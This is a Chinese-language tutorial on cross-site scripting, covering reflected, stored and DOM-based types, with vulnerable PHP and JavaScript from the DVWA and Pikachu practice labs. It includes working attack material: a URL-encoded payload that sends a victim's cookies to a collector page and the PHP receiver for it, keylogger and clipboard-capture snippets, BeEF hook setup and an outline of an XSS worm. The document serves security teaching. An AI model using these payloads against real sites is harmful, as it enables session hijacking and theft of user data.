起源
最早的 XSS 漏洞可追溯到 1999 年末,微软安全工程师发现一些网站遭到攻击,网站被插入了一些恶意脚本和图像标签。随后,微软对此类漏洞进行研究分析,并在 2000 年 1 月,正式使用“cross-site scripting”这个名称,然后逐渐被业界采用,留传至今。
跨站脚本(Cross-site Script),按理应该简称为 CSS,但为了与层叠样式表(CSS)区分开,特意改为 XSS。XSS 漏洞,通常指的是网站对用户输入数据未做有效过滤,攻击者可以将恶意脚本注入网站页面中,达到执行恶意代码的目的。攻击者只需要诱使受害者打开特定的网址,就可以在受害者的浏览器中执行被注入的恶意代码,从而窃取用户身份,执行一些敏感操作,或是进行其他的危害行为。
Samy 蠕虫是现实世界中 XSS 攻击的经典案例,除了蠕虫攻击外还有很多其他危害:盗号、钓鱼欺诈、篡改页面、刷广告流量、内网扫描、网页挂马、挖矿、键盘监听、窃取用户隐私等等。
XSS 漏洞的分类
通常 XSS 分为存储型和反射型,但还有一种比较特殊的 DOM 型 XSS,它本身属于反射型 XSS,不过介绍的时候需要单独来讲。因此,我就按 3 种类型划分:反射型、存储型、DOM 型。
反射型 XSS
先来看反射型 XSS。反射型 XSS 又被称为非持久型跨站脚本,它是将攻击代码放在 URL 参数中,而不是存储到服务器,因此需要诱使用户点击才能触发攻击。
以 DVWA 中的反射型 XSS 题目为例,通过向 name 参数输入以下代码即可触发漏洞:
<script>alert(1)</script>
在 Chrome 浏览器中,用“检查”功能看下网页源码,可以发现我们输入的代码被解析并执行了:
其漏洞代码也非常简单。从 GET 参数 name 获取用户输入后,未经过滤就直接调用 echo 函数输出到页面,最终导致 XSS 的产生。漏洞代码如下:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
有人认为反射型 XSS 的危害不如存储型 XSS,但我认为没有什么区别。这里的挑战主要是URL是否包含攻击代码。
存储型 XSS
第二种 XSS 漏洞是存储型 XSS,它又被称为持久型跨站脚本。攻击者将恶意代码存储到服务器上,只要诱使受害者访问被插入恶意代码的页面即可触发。存储型 XSS 经常出现在一些可以发表评论的地方,如帖子、博客。
DVWA 靶场中存储型 XSS 案例,它是个留言本的功能,支持用户发表评论,然后将用户输入的数据直接存储到数据库,并输出到页面上。这个过程中因为未做任何的过滤,导致了 XSS 漏洞的产生。
存储型 XSS 的特点就是不需要在诱使用户访问的URL中包含攻击代码,因为它已经存储到了服务器中,只需要让用户访问包含输出攻击代码的页面即可,漏洞代码如下:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
从 POST 参数中获取 mtxMessage 和 txtName 参数后,虽然经过一定过滤才插入到数据库中,但是中括号不会被过滤,在其他地方将其输出到页面后就会被解析。我们在 Message 中输入“”,点击“Sign Guestbook”提交,即可触发漏洞。
利用 Chrome 浏览器的“检查”功能查看网页源码,可以发现刚才输入消息中的
DOM 型 XSS
最后是 DOM 型 XSS 漏洞,它是基于文档对象模型(Document Object Model,DOM,用于将 Web 页面与脚本语言链接起来的标准编程接口)的一种漏洞,它不经过服务端,而是通过 URL 传入参数去触发,因此也属于反射型 XSS。
由于客户端的 JavaScript 可以访问浏览器页面中的 DOM 对象,因此它能够决定如何处理当前页面的 URL,比如获取 URL 中的相关数据进行处理,然后动态更新到页面上。这导致 DOM 型 XSS 的漏洞代码常位于网页的 JavaScript 代码中。
以 Pikachu 漏洞练习平台中的“DOM 型 XSS”题目为例:它只有一个文本输入框,外加一个“click me!”的按钮。我们先看下网页源码,看点击按钮后的回调函数。
可以看到,点击后会执行一个叫 domxss 的函数。在源码内搜索下该函数。
domxss 函数就 2 行代码,第一行代码先通过 document.getElementById(“text”).value 获取 ID 为“text”的元素内容。其实这就是输入框的内容,输入框的 ID就叫“text”。
第二行代码是将获取的输入框内容传递给 ID 为“dom”的元素,并将其写入 innerHTML,也就是输出到 HTML 页面中,整个过程对用户输入数据都未做任何过滤。直接输入 test 看下:
可以看到,输入框的内容输出到了 dom 元素中,作为 a 标签的链接地址。我们直接利用 JavaScript 伪协议来构造链接触发 JS 代码的执行,输入以下代码,然后点击“what do you see?”链接后即可触发漏洞:
javascript:alert(1)
导致 DOM 型 XSS 的相关 DOM 操作函数有很多,这里我只是举了比较常见的 innerHTML 属性设置导致的漏洞为例子,其他的还有像 eval、document.write 等可触发漏洞的数据输出位置。
网上曾有人整理了一份关于 DOM XSS 的数据污染源(Source,即用户输入数据)和漏洞触发点(Sink)的列表(虽然不够全面,但可以作为参考),如下图所示:
若数据从 Source 传到 Sink 过程中,未做任何过滤,就有可能存在 DOM XSS,这个思路也常作为动静态检测 DOM XSS 的重要思路.
攻击 XSS 漏洞
窃取 Cookie
我们首先来看“窃取 Cookie”。
Cookie 是由服务器提供的存储在客户端的数据,允许 JavaScript 访问,常用于识别用户身份和保存会话等功能。如果 Web 应用程序存在 XSS 漏洞,那么攻击者通过注入恶意 JavaScript 脚本就可以窃取到 Cookie,进而以用户身份执行恶意操作。
通过 document.cookie 就可以访问到 Cookie。以百度网站为例,在检查工具中的 Console 标签页输入 document.cookie 就可以看到当前百度域名下的 Cookie 值。
当一个网站存在 XSS 时,我们就可以通过执行 document.cookie 获取当前受害者的 cookie,前提是要先诱使受害者访问特定的 URL。
以 Pikachu 中的反射型 XSS(Get) 题目为例,其触发链接为:
http://localhost/vul/xss/xss_reflected_get.php?message=<script>alert(1)</script>&submit=submit
访问后的效果:
我们试试看能否读取 cookie:
http://localhost/vul/xss/xss_reflected_get.php?message=&submit=submit
可以访问到 cookie:
接下来,我们就可以在自己控制的服务器写个接收 cookie 的接口,比如 cookie.php。刚好 Pikachu 靶场自带这样的功能,我以它为例,并加了关键代码的注释:
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect(); // 连接数据库
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.56.133/pika/index.php");//重定向到一个可信的网站,主要起到隐藏作用,避免被发现
?>
这个 cookie.php 通过 GET 参数 cookie 来接收数据,那我们向它传递 document.cookie 的值就可以窃取想要的 cookie 了。基于此,我们重新构造 URL。
注意要做 URL 编码,否则“+”连接符会被吃掉,导致无法窃取 cookie。
http://localhost/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2Flocalhost%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
我们打开 http://localhost/pkxss/pkxss_login.php 上 XSS 后台(第一次使用时按提示点安装,然后用默认帐密登录:admin/123456),可以看到已经成功窃取到Cookie:
获取 Cookie 后,我们就可以本地修改 Cookie 来登录受害者的账号(除非刚好窃取的 Cookie 不包含用户登录信息,比如未登录状态下访问的攻击链接),可以使用 Chrome 插件 EditThisCookie 来设置窃取的 Cookie:
还有另一款早期业界比较常用的工具,叫“桂林老兵 Cookie 欺骗工具”,以及在《01 | 武器库:常用的渗透测试工具》中介绍的 Burp Suite,它们均支持修改 Cookie。
蠕虫攻击
XSS 蠕虫的实现正是得益于Ajax 技术的出现,而后者正是 Web2.0 的标志性技术。
Ajax(Asynchronous JavaScript and XML,异步 JavaScript 和 XML)是指一种创建交互式网页应用的网页开发技术。这个概念比较抽象,具体讲就是在我们浏览网页,做一些操作时,可以减少浏览器的一些页面重绘操作,避免出现页面抖动、闪现之类的不适体验。这也正是 Web2.0 带来的改变。
Ajax 中的核心技术就是 XMLHttpRequest,它允许 JavaScript 脚本与服务器进行通信,在不刷新页面的情况下,向服务器发送请求或是接收服务器的响应数据。
XSS 蠕虫的攻击流程:
- 利用 XSS 漏洞插入恶意 JS 代码;
- 利用 XMLHttpRequest 发送请求去发表微博、关注用户、获取关注者列表并向其发送私信;
- 微博消息和私信都包含有恶意攻击链接,等于实现了攻击代码的自我复制和传播。
一个完整的 XSS 蠕虫常常具备如下特征:
目标网站存在 XSS 漏洞;
攻击代码的自我复制和传播,其传播方式依赖于业务场景,更多是在社交功能上,比如博客、私信、微博、评论。
声明:在互联网上传播 XSS 蠕虫属于违法行为,即使是处于合法的渗透测试任务,也该严格控制传播的可能性,否则出现失控,仍需承担法律责任。
其他攻击方法
在 XSS 漏洞攻击场景下,凡是 JavaScript 能够实现功能,你都可以自由发挥,实现不同的攻击方法。
比如键盘记录:
keys = ""
document.onkeypress = function(){
keys += String.fromCharCode(window.event.keyCode);
}
比如在 Chrome 浏览器中使用代码截获剪贴板内容:
document.addEventListener('paste', function (evt) {
clipdata = evt.clipboardData || window.clipboardData;
console.log(clipdata.getData('text/plain'));
});
比如钓鱼欺骗用户输入账号、密码:
BeEF
一款非常著名的 XSS 攻击框架 BeEF,它支持 Docker 快速安装,可以从 GitHub 下载然后编译安装:
$ git clone https://github.com/beefproject/beef
$ cd beef
$ sudo docker build -t beef .
$ sudo docker run -p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 --name beef beef
运行成功后,你会得到一个 hook.js 地址,这是利用 XSS 漏洞插入目标网站的攻击脚本地址。
本地得到地址是:http://127.0.0.1:3000/hook.js(实际攻击时,可将 127.0.0.1 替换成你的远程服务器地址),那就可以在漏洞页面插入如下代码进行利用:
受害者访问后,若利用成功的话,在 BeEF 管理页面(此处为 http://127.0.0.1:3000/ui/panel)就可以看到目标上线了。
刚运行的时候,BeEF 会生成随机密码,账号为 beef,比如:
Beef credentials: beef:aaGivbkemeYNtCYRFrlyQN75lcmMYMm5
用上面的账号密码登录即可;也可以修改 config.yaml 中的账号密码再运行。
工具自动化测试
XSS 扫描的工具,比如 AWVS、Xray、Goby 这类综合型扫描器。
专门针对 XSS 漏洞扫描的开源工具,XSStrike,它在业内也是有一定名气的。由于开源,非常有利于自己添加 XSS payload,或者做二次开发。
XSStrike 支持很多功能,比如 DOM XSS 扫描(基于正则扫描敏感函数,存在一定误报)、WAF 检测与绕过、爬虫、HTML&JS 动态解析引擎验证。常用的测试命令如下:
爬虫整个网站进行 XSS 扫描:
python3 XSStrike.py -u "http://testphp.vulnweb.com/" --crawl
针对单个 URL 进行扫描:
python3 XSStrike.py -u "http://localhost/vulnerabilities/XSS_r/?name=a"
XSStrike 功能比较全面,但也会存在误报,而且告警结果展示的体验不是很好。
另一款工具,叫 NoXSS。它的特点就是批量扫描速度快,而且告警展示效果比 XSStrike 好,但漏洞检测能力不如 XSStrike,你可以把这两款搭配着使用。NoXSS 的使用方法也很简单,常用命令如下:
python start.py --url="http://localhost/vulnerabilities/XSS_r/?name=a"